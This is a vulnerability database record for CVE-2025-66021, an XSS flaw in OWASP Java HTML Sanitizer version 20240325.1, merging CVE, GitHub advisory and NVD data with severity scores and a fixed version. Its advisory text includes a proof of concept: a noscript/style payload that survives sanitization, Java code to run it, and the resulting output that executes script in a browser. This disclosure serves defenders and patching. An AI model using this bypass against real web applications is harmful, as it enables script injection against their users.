{"id":"CVE-2025-66021","aliases":["CVE-2025-66021","GHSA-g9gq-3pfx-2gw2"],"related":[],"kind":"vulnerability","state":"published","title":"OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization","summary":"OWASP Java HTML Sanitizer is a configureable HTML Sanitizer written in Java, allowing inclusion of HTML authored by third-parties in web applications while protecting against XSS. In version 20240325.1,  OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. At time of publication no known patch is available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OWASP Java HTML Sanitizer is a configureable HTML Sanitizer written in Java, allowing inclusion of HTML authored by third-parties in web applications while protecting against XSS. In version 20240325.1,  OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. At time of publication no known patch is available.","source":"cvelist"},{"lang":"en","text":"### Summary\nIt is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. \n\n### Details\n\nThe OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags.\n\nThe following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. \n\n### PoC\n\n1.  Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn(\"style\")`.\n2.  There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag.\nThese payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.\n\n```HTML\n1. <noscript><style></noscript><script>alert(1)</script>\n2. <p><style></p><script>alert(1)</script>\n```\n\n3. Run the following piece of code which sanitizes the payload. \n\n```java\npublic class main {\n\tprivate static final String ALLOWED_HTML_TAGS = \"p, noscript, style\";\n\n\t/**\n\t * Description of vulnerability :\n\t *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.\n\t *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.\n\t */\n\n\tpublic static void main(String[] args) {\n\t\twithAllowedTextAndStyleTag();\n\t}\n\n\t/**\n\t *  Test case : Vulnerable to XSS\n\t */\n\tpublic static void withAllowedTextAndStyleTag() {\n\t\tHtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();\n\t\tPolicyFactory policy = htmlPolicyBuilder\n\t\t\t\t.allowElements(ALLOWED_HTML_TAGS.split(\"\\\\s*,\\\\s*\"))\n\t\t\t\t.allowTextIn(\"style\")\n\t\t\t\t.toFactory();\n\t\tString untrustedHTMLOne = \"<noscript><style></noscript><script>alert(1)</script>\";\n\t\tString untrustedHTMLTwo = \"<p><style></p><script>alert(1)</script>\";\n\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLOne +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLOne));\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLTwo +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLTwo));\n\t}\n}\n```\n\nUse the latest library version \n\n```xml\n\t\t<dependency>\n\t\t\t<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>\n\t\t\t<artifactId>owasp-java-html-sanitizer</artifactId>\n\t\t\t<version>20240325.1</version>\n\t\t</dependency>\n```\n\n4. Output of the POC code should look like this \n\n```HTML\n\nPAYLOAD: <noscript><style></noscript><script>alert(1)</script>\nSANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n\nPAYLOAD: <p><style></p><script>alert(1)</script>\nSANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS\n\n-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. \nSANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>\n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS\n\n--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. \nSANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>\n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>POC OF SANITIZER OUTPUT</title>\n</head>\n<body>\n\n<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->\n<noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n<!-- SAFE OUTPUT -->\n<p><style></p><script>alert(1)</script></style></p>\n\n</body>\n</html>\n```\n\n\n\n7. Open this HTML page in the browser it should pop an alert.\n\n![Alt text](https://github.com/user-attachments/assets/0b96a6c2-818e-4a21-80df-42c4cf26bafd \"Leads to XSS\")\n\n8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. \n\n![SAFE from XSS](https://github.com/user-attachments/assets/b6c657fc-32df-4006-9ee8-ca6598f094ad \"Safe from XSS\")\n\n9. The payload which combined with noscript tag and style tag did caused XSS.\nThe broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.\n\n![XSS POC](https://github.com/user-attachments/assets/abfe0112-c63e-4149-a343-509b25db1b60 \"Leads to XSS\")\n\n\n### Impact\n1. This potentially could leads to XSS in applications. \nRef : https://owasp.org/www-community/attacks/xss/","format":"markdown","source":"ghsa"},{"lang":"es","text":"OWASP Java HTML Sanitizer es un saneador de HTML configurable escrito en Java, que permite la inclusión de HTML creado por terceros en aplicaciones web mientras protege contra XSS. En la versión 20240325.1, OWASP Java HTML Sanitizer es vulnerable a XSS si HtmlPolicyBuilder permite las etiquetas noscript y style con allowTextIn dentro de la etiqueta style. Esto podría conducir a XSS si la carga útil se elabora de tal manera que no sanea el CSS y permite etiquetas que no se mencionan en la política HTML. En el momento de la publicación no hay ningún parche conocido disponible.","source":"nvd"}],"published":"2025-11-25T22:10:17.000Z","modified":"2026-10-18T20:10:00.110Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"= 20240325.1","status":"affected"}],"vendor":"OWASP","product":"java-html-sanitizer","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"20240325.1","status":"affected","fixed":"20260101.1"}],"ecosystem":"Maven","package":"com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer","purl":"pkg:maven/com.googlecode.owasp-java-html-sanitizer/owasp-java-html-sanitizer","source":"ghsa"},{"ranges":[{"status":"affected","version":"20240325.1"}],"vendor":"owasp","product":"java_html_sanitizer","cpe":"cpe:2.3:a:owasp:java_html_sanitizer:20240325.1:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/OWASP/java-html-sanitizer/security/advisories/GHSA-g9gq-3pfx-2gw2","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66021","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/OWASP/java-html-sanitizer/issues/363","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/OWASP/java-html-sanitizer/commit/4149cf02ba84db13e8e9d7ee1b01b3f47238e072","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/OWASP/java-html-sanitizer/commit/b98cdf1cd5e156a6259b01aa8cdc7372c6efde1e","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/OWASP/java-html-sanitizer/commit/d6e0463ed3b48777ecd187913ffdbe767508ff45","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/OWASP/java-html-sanitizer","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-11-26T15:15:53.738Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-66021","url":"https://www.cve.org/CVERecord?id=CVE-2025-66021","licence":"CVE Terms of Use","modified":"2025-11-26T15:16:17.063Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g9gq-3pfx-2gw2","url":"https://github.com/advisories/GHSA-g9gq-3pfx-2gw2","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:31.015Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-66021","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66021","licence":"Public domain","modified":"2026-10-18T20:10:00.110Z"}],"updatedAt":"2026-11-25T22:59:08.030Z","epss":{"score":0.00289,"percentile":0.23101,"date":"2026-12-01T12:00:22.000Z"}}